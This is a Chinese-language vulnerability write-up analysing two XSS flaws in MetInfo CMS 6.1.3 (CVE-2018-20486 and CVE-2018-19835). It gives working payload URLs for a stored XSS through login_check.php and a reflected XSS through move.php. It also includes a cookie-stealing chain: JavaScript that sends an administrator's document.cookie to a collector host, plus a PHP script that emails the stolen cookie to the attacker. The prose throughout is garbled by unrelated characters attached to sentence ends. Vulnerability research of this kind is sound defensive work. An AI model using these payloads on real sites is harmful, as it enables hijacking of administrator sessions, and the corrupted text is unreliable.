文章首發(fā)于安全客,Metinfo 6.1.3 XSS漏洞分析
前言
前段時間看到一個cms造成的xss漏洞邑狸,這里想分析下。這個漏洞是metinfo6.1.3版本因參數(shù)問題造成前臺和后臺引起了兩處xss漏洞奢方。
這個漏洞的影響范圍一直到最新版本(6.1.3),因為前段時間爆出的漏洞爸舒,所以新版本應(yīng)該已修復(fù)蟋字。
cms最新6.13下載地址:https://www.mituo.cn/download/
前臺漏洞分析( CVE-2018-20486)
通過在前臺插入xss訪問,然后會在后臺觸發(fā)xss扭勉,造成xss攻擊鹊奖。
漏洞的觸發(fā)點(diǎn)在
admin/login/login_check.php
這里加載了 $commonpath=$depth.'include/common.inc.php'
,然后在如下的代碼段里存在變量覆蓋漏洞: (admin/include/common.inc.php
77行)
然后往下分析涂炎,回頭看admin/login/login_check.php
這段代碼
$url_array
變量是我們可控的忠聚,從而控制$truefile
變量设哗,進(jìn)入下個if語句,if語句中存在更改數(shù)據(jù)庫信息的mysql語句两蟀,從而可以直接更改數(shù)據(jù)庫信息
$_M
數(shù)組是一個包含了網(wǎng)站設(shè)置网梢,系統(tǒng)調(diào)用等信息的總和數(shù)組,具體內(nèi)容如下:
$_M[config]:網(wǎng)站配置數(shù)組垫竞,里面可以查詢到所有的網(wǎng)站配置數(shù)據(jù)澎粟。
$_M[form]:提交的GET,POST,COOKIE表單數(shù)組蛀序。在系統(tǒng)中不要直接使用$_POST,$_GET,$_COOKIE,
這些都是沒有過濾的欢瞪,$_M[form]中是已經(jīng)安全過濾后的數(shù)組。
$_M[langlist]:語言設(shè)置數(shù)組徐裸,其中$_M[langlist][web]為前臺語言設(shè)置遣鼓,
$_M[langlist][admin]為后臺語言設(shè)置。
$_M[lang]:前臺語言重贺,如果你是在網(wǎng)站前臺骑祟,則這個值是你當(dāng)前訪問的語言,
如果是后臺气笙,則這個值是你當(dāng)前編輯的語言次企。
$_M[table]:系統(tǒng)表名稱。
$_M[url]:系統(tǒng)一些常用URL入口地址潜圃。
$_M[url][site_admin] :網(wǎng)站后臺地址
$_M[url][site] :網(wǎng)站前臺地址
$_M[url][entrance] :框架入口地址
$_M[url][own] :當(dāng)前執(zhí)行的應(yīng)用根目錄地址
$_M[url][app] :應(yīng)用根目錄地址
$_M[url][pub] :系統(tǒng)公用文件(html.css,js)地址
$_M[url][ui] :當(dāng)前class所使用的UI地址缸棵,前臺為“系統(tǒng)ui根目錄/web”;,
后臺為“系統(tǒng)ui根目錄/admin”谭期。
$_M[user][cookie]:用戶cookie信息堵第,建議不要直接取值,使用get_met_cookie()取值隧出。
$_M[word]:當(dāng)前的語言參數(shù)踏志。
$_M[plugin]:系統(tǒng)插件數(shù)組。
然后在 app/system/include/class/common.class.php
中
$_M['config']['met_adminfile_code'] = $_M['config']['met_adminfile'];
$_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
if ($_M['config']['met_adminfile'] == '') {
$_M['config']['met_adminfile'] = 'admin';
$met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
$query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
$result = DB::query($query);
}
我們可以看到胀瞪,met_adminfile
是我們可控的值存在于$_M['config']['met_adminfile']
中针余,也就是通過這個就可以找到我們可以構(gòu)造的點(diǎn)了。
看到這里就會發(fā)現(xiàn)離我們可構(gòu)造的XSS不遠(yuǎn)了凄诞,這段存在于app/system/safe/admin/templates/index.php (72行)
涵紊,可以發(fā)現(xiàn),這里標(biāo)簽直接輸出了met_adminfile
的值幔摸,因此造成了一個存儲型的XSS漏洞摸柄。
XSS payload:
http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=123
這里用onfocus屬性造成的彈框。
onfocus:
當(dāng) input 輸入框獲取焦點(diǎn)時執(zhí)行一段 Javascript代碼:
<input type="text" onfocus="myFunction()">
XSS的構(gòu)造方式有很多中既忆,但是只要滿足輸出條件即可:
$turefile=$url_array[count($url_array)-2]
在倒數(shù)第二個值中輸入我們想要的值就可以了驱负,不斷傳入url_array[]
數(shù)組的值然后$truefile
返回的是數(shù)組倒數(shù)第二個值嗦玖,然后$truefile
會被帶入數(shù)據(jù)庫中被更新,然后后臺在點(diǎn)擊帶有那個標(biāo)簽頁面時便會觸發(fā)XSS
1.1 前臺漏洞復(fù)現(xiàn)
其實(shí)這個漏洞也不完全是前臺跃脊,因為它只是通過通過URL訪問后臺目錄宇挫,雖然無回顯但是可以成功插入信息。
XSS Payload:
http:// 127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=123
然后直接訪問酪术,無回顯器瘪。
這時登錄后臺,點(diǎn)擊安全與效率頁面
點(diǎn)擊后臺文件夾的文件名即可觸發(fā)xss绘雁。其實(shí)可以發(fā)現(xiàn)后臺文件名已經(jīng)被更改了橡疼,并插入了XSS代碼。每當(dāng)更改文件便會觸發(fā)XSS庐舟,這里就是通過更改$truefile
的值傳進(jìn)數(shù)據(jù)庫欣除,從而更新了文件名。
我們可以通過這個存儲型XSS漏洞去拿管理員cookie挪略。
獲取cookie-payload:
http:// 127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" <SCript src=http://localhost/Myphp/eamil/joke.js>&url_array[]=1
單引號做了過濾所以不要使用單引號历帚,payload能簡則簡。
這里是我自己做的很簡單的腳本杠娱,獲取cookie發(fā)送自己郵箱里挽牢。
執(zhí)行后,當(dāng)管理員進(jìn)入后臺點(diǎn)擊安全與效率頁面時便可觸發(fā)摊求。
腳本貼上
<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "xxxxxxx@qq.com"; // 郵件接收者
$subject = "COOKIE"; // 郵件標(biāo)題
$message = $_GET['joke']; // 郵件正文
$from = "xxxxxxx@qq.com"; // 郵件發(fā)送者
$headers = "From:" . $from; // 頭部信息設(shè)置
mail($to,$subject,$message,$headers);
echo "郵件已發(fā)送";
}
else
echo "郵件發(fā)送失敗";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//這里是用本地環(huán)境測試的禽拔,可以換成自己的ip地址
js腳本獲取cookie內(nèi)容,然后將cookie賦予php腳本變量中睹簇,然后獲取變量內(nèi)容奏赘,發(fā)送郵件到自己郵箱。
發(fā)送郵箱需配置smtp服務(wù)太惠,具體可以參考我這篇文章http://www.reibang.com/p/4afafc3c5a3e
2.0 后臺漏洞分析(CVE-2018-19835)
后臺也是由于參數(shù)問題過濾不嚴(yán)謹(jǐn)造成的xss漏洞磨淌,不過這個目錄只能在后臺訪問。
先看造成漏洞的主要代碼塊(/admin/column/move.php
):
從代碼中可以看出只需要$folderyanzheng> 0
進(jìn)入if判斷內(nèi)凿渊,再看第二個if語句梁只,要保證$folder_m
不為空,因此我們可以隨便查詢一個數(shù)據(jù)庫埃脏,也就是給變量$foldername
賦一個數(shù)據(jù)庫名搪锣。然后將$lang_columnerr4
賦給$metcms
,最后輸出$metcms
,也就造成了xss彩掐。
查詢數(shù)據(jù)庫如下:
不過從這里可以看出造成這個xss攻擊代價太大构舟,不僅要知道后臺權(quán)限,還要知道數(shù)據(jù)庫名堵幽。感覺可用性并不是太強(qiáng)狗超。
2.1 漏洞復(fù)現(xiàn)
Xss-Payload:
http://127.0.0.1/metinfo6.13/admin/column/move.php?foldyanzheng=1&foldername=search&lang_columnerr4=<Script>alert(/xss/)</sCript>&metcms=1
這里我們可以看出它會將信息最終通過metcms
參數(shù)輸出在頁面中弹澎,因此也就造成了xss。
3.0 總結(jié)
修復(fù)建議: 因為最新版本應(yīng)該已經(jīng)修復(fù)相關(guān)漏洞努咐,可以升級為新版本苦蒿,或暫緩修復(fù)后臺(admin/include/common.inc.php
)存在的變量覆蓋漏洞。
metinfo出現(xiàn)的xss漏洞較多渗稍,但xss在能夠利用的情況下產(chǎn)生的危害也較大佩迟,因此在開發(fā)時應(yīng)考慮到造成漏洞的不同場景,盡可能的避免漏洞存在竿屹。針對XSS最常見的可以對輸入(和URL參數(shù))進(jìn)行過濾报强,對輸出進(jìn)行編碼,也可以對關(guān)鍵字進(jìn)行黑名單或白名單的過濾等等羔沙。